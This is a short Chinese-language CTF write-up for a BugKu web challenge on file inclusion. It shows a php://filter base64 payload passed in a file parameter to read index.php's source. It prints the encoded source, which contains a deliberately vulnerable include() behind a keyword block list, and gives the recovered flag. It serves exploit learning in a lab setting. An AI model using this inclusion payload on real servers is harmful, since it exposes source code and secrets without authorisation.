[BugKu]---Web篇---持续更新中

1.文件包含

发现参数?file= 怀疑是文件读取或者目录穿越 尝试php为协议

用php伪协议

URL+?file=php://filter/read=convert.base64-encode/resource=index.php

如下显示的是base64编码

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2U4NjYwNDgxZTk0ODI5MjhlZDczZjEwNjJhM2I1ZDAzfQ0KPz4NCjwvaHRtbD4NCg==

解码的

flag{e8660481e9482928ed73f1062a3b5d03}